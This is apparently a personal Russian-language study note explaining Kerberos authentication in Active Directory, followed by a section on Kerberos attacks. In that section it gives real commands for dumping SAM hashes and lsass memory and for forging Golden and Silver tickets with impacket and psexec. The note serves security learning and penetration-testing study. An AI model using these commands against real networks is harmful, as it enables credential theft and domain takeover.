# Заметки: kerberos
> #kerberos #theory

**Kerberos** - это сетевой протокол аутентификации, используемый в `Active-directory`. C его помощью осуществляется проверка подлинности компьютерной среды. Важно: kerberos не отвечает за доступ к отдельно взятым сервисам, а просто идентифицирует пользователя, притом делает это в качестве доверенной третьей стороны. Построено все это чудо на криптографии симметричных ключей.
Открытый порт под номером 88(tcp/udp) - явный признак kerberos (KDC).
---
## Основные моменты
### Кто же участвует во время аутентификации:
1. Некоторый `клиент` (client), который очень сильно хочет получить доступ к некоторому сервису;
2. `Сервер приложений` (AP), который предлагает клиенту этот самый сервис;
3. `Центр распределения ключей` (KDC) - главный сервис kerberos, он работает на контроллере домена и выдает `билеты` (tickets), а также хранит базу данных с информацией об учётных записях всех клиентов сети. Состоит из сервиса аутентификации (AS. Выдает билеты на выдачу билетов) и сервиса выдачи билетов (TGS. Выдает билеты на доступ к другим сервисам своего домена или к AS доверяемого домена);
### Ключи шифрования:
1. Ключ `krbtgt/KDC` - это производная от NTLM хэша учетной записи Active Directory, которая подписывает все Kerberos-билеты;
2. Ключ пользователя (`user key`) - производная от NTLM хэша учетной записи пользователя;
3. Ключ сервиса (`service key`) - производная от NTLM хэша владельца сервиса(таковым может быть как пользователь, так и компьютер);
4. Ключ сессии (`session key`) - ключ, который согласовывается между пользователем и KDC;
5. Сессионный ключ для работы с сервисом (`service session key`) - ключ, который используется между сервисом и пользователем;
### Идеи, на которых завязана аутентификация:
**Билеты kerberos**
Клиенты получают `билеты`, чтобы выполнять действия, связанные с Kerberos. При этом есть два типа билетов:
1. `TGS` (ticket granting service). Зашифрован ключом сервиса;
2. `TGT` (ticket granting ticket). Зашифрован ключом krbtgt. Поддельные TGT называются `golden-ticket/ами` (их подлинность не проверяется; используются для получения TGS)
**Privilege Attribute Certificate**
`PAC` - структура данных, подписанная ключом krbtgt. Прилагается почти к каждому билету kerberos во время аутентификации в среде Active Directory. Она указывает на привилегии, которыми обладает пользователь. Любой сервис может проверить происхождение и корректность `PAC`, обратившись к KDC.
**Kerberos-cообщения (messages)**
Данные сообщения являются основными. Без них процесс аутентификации невозможен.
- `KRB_AS_REQ`: сообщение клиента для KDC на получение специального права на доступ(TGT);
- `KRB_AS_REP`: сообщение от KDC, используется, чтобы отдать TGT клиенту;
- `KRB_TGS_REQ`: сообщение клиента для KDC на получение TGS, при этом передается TGT;
- `KRB_TGS_REP`: сообщение от KDC, используется, чтобы отдать TGS клиенту;
- `KRB_AP_REQ`: сообщение клиента для сервера приложений на запрос доступа;
- `KRB_AP_REP` (опционально): сообщение, посылаемое сервером приложений пользователю, если была запрошена взаимная аутентификация. В противном случае считается, что целевой сервис доступен и ожидает поступления клиентских данных;
- `KRB_ERROR`: сообщение, которое заявляет об ошибке, произошедшей во время аутентификации;
### Порядок аутентификации:

## Атаки, связанные c kerberos
### Pass-the-Key (PTK)
Наличие хэша некоторого пользователя позволяет получить доступ к сервисам с его привилегиями. Для этого мы просто запрашиваем TGT, TGS используя чужой user key. Такой хэш можно получить из SAM или файла NTDS.DIT (или сдампив память процесса lsass)
```powershell
#1
reg.exe save HKLM\SAM sam
reg.exe save HKLM\SYSTEM system
secretsdump.py -sam sam -system system LOCAL
#2
procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
```
### Golden Ticket & Silver Ticket
**Golden Ticket** - способ атаки, при котором злоумышленник знает ключ `krbtgt`. Этим ключом подписываются все TGT, поэтому можно аутентифицироваться, как любой пользователь домена. Иначе говоря "золотой билет" - это поддельный TGT, созданный с помощью украденного ключа krbtgt.
```bash
impacket-ticketer -nthash $NT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN anyuser
export KRB5CCNAME=anyuser.ccache
psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]
```
---
**Silver Ticket** - поддельный TGS. Область его применимости ограничена определенной службой. Для данной атаки нужен `service key` и `spn`.

```bash
impacket-ticketer -nthash $NT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn $SPN anyuser
export KRB5CCNAME=anyuser.ccache
psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]
```
### Kerberoasting
Из схемы, описывающей порядок аутентификации, ясно, что при наличии ключа пользователя мы можем обратиться к KDC для получения TGS. Вспомним, что TGS подписывается хэшом владельца сервиса. Тогда, если владельцем является пользователь, то у злоумышленника есть шанс крякнуть пароль.
### ASREPRoasting
Как сказано ранее, если для пользователя установлен атрибут DONT_REQ_PREAUTH, то можно сконструировать сообщение `KRB_AS_REQ` без timestamp/a. Притом в сообщении `KRB_AS_REP` вернется структура "session_key+nonce+expire_time", зашифрованная ключом пользователя. Ее можно использовать, чтобы крякнуть пароль.
#### Статьи по теме:
- https://ardent101.github.io/posts/kerberos_theory/
- https://www.tarlogic.com/blog/how-kerberos-works/
- https://en.hackndo.com/kerberos/#krb_tgs_rep
- [!] https://www.securitylab.ru/blog/company/pt/344797.php
- [!] https://habr.com/ru/company/otus/blog/656177/
- https://xakep.ru/2020/04/15/windows-ad-persistence/
- https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://habr.com/ru/company/rvision/blog/686784/
<i>by @xpoleones</i>